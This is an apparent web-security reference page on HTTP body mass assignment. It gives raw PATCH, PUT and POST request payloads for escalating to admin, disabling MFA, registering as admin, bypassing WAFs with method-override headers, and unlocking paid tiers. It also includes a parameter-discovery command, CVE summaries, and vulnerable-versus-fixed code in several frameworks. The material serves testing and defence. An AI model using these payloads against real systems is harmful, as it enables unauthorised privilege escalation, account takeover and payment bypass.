Sending unexpected fields in POST/PUT/PATCH request body that the ORM or framework automatically maps to model attributes including privileged ones.
TL;DR
role, is_admin, subscription_tier) in any POST/PUT/PATCH JSON bodymfa_required: false, mfa_secret: null — disables 2FA without knowing the current secretHTTP body mass assignment is the most direct variant: the attacker adds privileged object fields to the JSON or form-encoded body of an HTTP update request. The server-side ORM or framework binding maps the entire parsed body to the model without checking which fields the caller is authorized to modify. The injected values are persisted to the database.
This variant targets PATCH (partial update) and PUT (full replace) endpoints most often, because these endpoints are designed to accept field updates. POST endpoints for registration and object creation are also vulnerable — an attacker who can set role: "admin" during the registration step never needs to escalate afterward.
The attack requires no special encoding, no injection of syntax characters, and no exploitation of parsing quirks. It is a logic flaw: the application trusts the caller to send only fields they are allowed to modify.
The attack proceeds in four steps:
PATCH /users/me, PUT /profile, PATCH /accounts/:id, PATCH /settings. Any endpoint that accepts a JSON body for object modification.PATCH /api/v1/users/me HTTP/1.1
Host: target.example.com
Authorization: Bearer <user_token>
Content-Type: application/json
{
"email": "attacker@example.com",
"role": "admin",
"is_admin": true,
"is_superuser": true,
"is_staff": true,
"permissions": ["*"],
"subscription_tier": "enterprise",
"subscription_status": "active",
"credit_balance": 999999,
"verified": true,
"mfa_required": false,
"trial_ends_at": "2099-12-31"
}PATCH /api/v1/users/me HTTP/1.1
Authorization: Bearer <user_token>
Content-Type: application/json
{
"mfa_required": false,
"mfa_enabled": false,
"mfa_secret": null,
"two_factor_enabled": false
}If successful: MFA is disabled on the account without knowledge of the current TOTP secret. The attacker then authenticates using only the password.
POST /api/v1/auth/register HTTP/1.1
Content-Type: application/json
{
"email": "attacker@example.com",
"password": "Password123!",
"first_name": "Test",
"role": "admin",
"is_admin": true,
"subscription_tier": "enterprise"
}Registration endpoints are frequently overlooked in mass assignment reviews. If the controller passes the full registration body to User.create(params), the attacker starts life as an admin.
POST /api/v1/users/me HTTP/1.1
X-HTTP-Method-Override: PATCH
Content-Type: application/json
{"role": "admin", "is_admin": true}WAF rules often block PATCH but permit POST. Spring MVC's HiddenHttpMethodFilter and Symfony's http_method_override support this header. Disable the filter in production if not needed.
CVE-2024-29133 — Apache Roller (CVSS 8.1, 2024)
Apache Roller's blog platform user profile update handler accepted role=ADMIN via HTTP POST body (application/x-www-form-urlencoded). Any authenticated user could escalate to administrator by adding the role parameter to the profile update form. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
CVE-2025-32433 — Directus CMS (CVSS 8.8, 2025)
Directus PATCH /users/me accepted the role field, which maps to the UUID of a directus_roles record. By submitting the UUID of the administrator role, any authenticated user became a system administrator. This affected thousands of Directus deployments. Fix in Directus 10.13+ blocked role and status from self-update endpoint.
HackerOne #765031 — Basecamp HEY Email (Bounty: $5,000)
PATCH /people/:id on HEY email platform accepted admin: true for non-admin users. Direct JSON field injection — no encoding or nesting required. The finding allowed privilege escalation within a HEY team to full administrator status.
CVE-2024-21652 — Argo CD (CVSS 7.4, 2024)
Argo CD's account management API accepted role in the PATCH body at /api/v1/accounts/:name. Standard user → admin within a Kubernetes CD pipeline, granting control over application deployments.
role and privilege fields)."role": "admin", "is_admin": true, "is_superuser": true, "subscription_tier": "enterprise".role or privilege field changed: confirmed finding. Attempt to access an admin endpoint to validate impact.# Discover hidden parameter names accepted by the PATCH endpoint
arjun -u "https://target.com/api/v1/users/me" \
-m PATCH \
--data '{"email": "test@example.com"}' \
--headers "Authorization: Bearer <token>" \
-w /usr/share/wordlists/arjun/large.txt \
--stableArjun sends the base request and candidate parameters, detects response differences, and reports parameters that change the response body or status code.
BreachVex probes HTTP body mass assignment by sending a superset PATCH covering a broad set of candidate fields across all naming conventions, then cross-session-confirming any changed privilege fields via a second authenticated GET.
# VULNERABLE — permits any key the attacker sends
def user_params
params.require(:user).permit!
end
# VULNERABLE — no permit() at all
def update
@user.update(params[:user])
end
# SAFE — explicit allowlist
def user_params
params.require(:user).permit(:email, :first_name, :last_name, :bio, :avatar)
# role, admin, subscription_tier — silently stripped
end
# STRICT — raise on unpermitted fields (log all injection attempts)
# config/application.rb
config.action_controller.action_on_unpermitted_parameters = :raise# VULNERABLE
class UserUpdateSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = '__all__' # every field writable
# SAFE
class UserUpdateSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['email', 'first_name', 'last_name', 'bio']
read_only_fields = ['id', 'is_staff', 'is_superuser', 'groups',
'user_permissions', 'date_joined']// VULNERABLE — full body passed to ORM
app.patch('/api/users/me', async (req, res) => {
const user = await User.findByIdAndUpdate(req.user.id, req.body, { new: true });
res.json(user);
});
// SAFE — explicit allowlist via destructure
app.patch('/api/users/me', async (req, res) => {
const allowed = ['email', 'firstName', 'lastName', 'bio', 'avatarUrl'];
const update = Object.fromEntries(
Object.entries(req.body).filter(([key]) => allowed.includes(key))
);
const user = await User.findByIdAndUpdate(req.user.id, update, {
new: true,
runValidators: true
});
res.json(user);
});// DTO class — only user-writable fields exist as properties
// role, authorities, enabled are physically absent from this class
public class UserUpdateDto {
@NotBlank @Email
private String email;
@Size(max = 50)
private String firstName;
@Size(max = 50)
private String lastName;
}
// Controller uses DTO, not the User entity
@PatchMapping("/users/me")
public ResponseEntity<UserResponse> updateMe(
@Valid @RequestBody UserUpdateDto dto,
@AuthenticationPrincipal UserDetails principal) {
return ResponseEntity.ok(userService.update(principal.getUsername(), dto));
}// Go's json.Unmarshal only decodes fields present in the target struct
// UpdateProfileRequest cannot contain role or isAdmin — mass assignment prevented
type UpdateProfileRequest struct {
Email string `json:"email"`
FirstName string `json:"first_name"`
LastName string `json:"last_name"`
Bio string `json:"bio"`
}
func (h *Handler) UpdateMe(w http.ResponseWriter, r *http.Request) {
var req UpdateProfileRequest
json.NewDecoder(r.Body).Decode(&req)
// Any role/isAdmin fields in the body are discarded by json.Unmarshal
}# VULNERABLE — extra fields silently accepted
class UserUpdate(BaseModel):
model_config = ConfigDict(extra="allow")
# SAFE — extra fields return 422 Unprocessable Entity
class UserUpdate(BaseModel):
model_config = ConfigDict(extra="forbid")
email: EmailStr | None = None
first_name: str | None = None
last_name: str | None = None
@router.patch("/users/me")
async def update_me(body: UserUpdate, user: User = Depends(get_current_user)):
update_data = body.model_dump(exclude_unset=True)
return await user_service.update(user.id, update_data)HTTP body mass assignment occurs when an attacker adds privileged fields (role, is_admin, subscription_tier) directly to the JSON or form-encoded body of a POST, PUT, or PATCH request. The server's ORM or framework binds the full body to the model without filtering, persisting the injected values to the database.
PATCH and PUT on update endpoints are the primary targets because they accept partial or full object updates. POST endpoints for registration and object creation are also high-risk — an attacker can set role: admin during account creation. Endpoints using DELETE with a body are generally low-risk for this variant.
Core fields to test: role, is_admin, isAdmin, admin, is_superuser, is_staff, permissions, scopes, subscription_tier, subscription_status, credit_balance, verified, email_verified, mfa_required, mfa_enabled, trial_ends_at, tenant_id, organization_id, owner_id. Also test nested: user[role], user[admin], roles[0]. Use all naming conventions: snake_case, camelCase, PascalCase.
After the PATCH with injected fields, perform a GET using a different authentication token (a second account or fresh session). Compare the field values to the pre-attack baseline. Confirm the injected field persists AND produces an observable effect — for example, the account now has access to admin endpoints or premium features.
CVE-2024-29133 (Apache Roller, CVSS 8.1) — POST /roller-ui/authoring/userdata accepted role=ADMIN in form body. CVE-2025-32433 (Directus CMS, CVSS 8.8) — PATCH /users/me accepted role UUID. CVE-2024-21652 (Argo CD, CVSS 7.4) — PATCH account endpoint accepted role field in JSON body. HackerOne #765031 (Basecamp HEY, $5,000) — PATCH /people/:id accepted admin: true.
Case variation: RoLe, ROLE, Role. Snake vs camel case: is_admin vs isAdmin vs is-admin vs IsAdmin. Array notation: roles[0]=admin, roles[]=admin. HTTP Method Override: POST with X-HTTP-Method-Override: PATCH bypasses WAF rules that block PATCH. Content-Type ambiguity: send application/x-www-form-urlencoded instead of application/json (Spring fallback).
PATCH /users/me with mfa_required: false, mfa_secret: null, mfa_enabled: false disables MFA without knowing the current TOTP secret. This is Chain 6 in the mass assignment exploitation playbook. The attacker then logs in with only a password. Requires the update endpoint to lack field filtering for MFA-related attributes.
Yes — Chain 3: POST /api/v1/subscriptions with tier: 'enterprise', status: 'active', trial_ends_at: '2099-12-31'. If the subscription creation endpoint accepts arbitrary fields and maps them to the subscription model, the attacker gains enterprise features without payment. Directus CVE-2025-32433 demonstrated analogous billing escalation via role assignment.
Subscription tier escalation sends subscription_tier: 'enterprise' or subscription_status: 'active' in a profile update request. If the platform stores subscription state on the user model (instead of an immutable payments record), an attacker can upgrade their own account by writing to this field. This is distinct from billing bypass — it targets a denormalized subscription field on the user record.
Some frameworks (Spring MVC, Symfony) support X-HTTP-Method-Override or _method=PATCH in form data to simulate PATCH/PUT from clients that only support GET/POST. An attacker sends a POST request with X-HTTP-Method-Override: PATCH — the WAF may apply POST rules (permissive) while the application processes it as PATCH (update). This bypasses WAF rules that specifically block PATCH requests.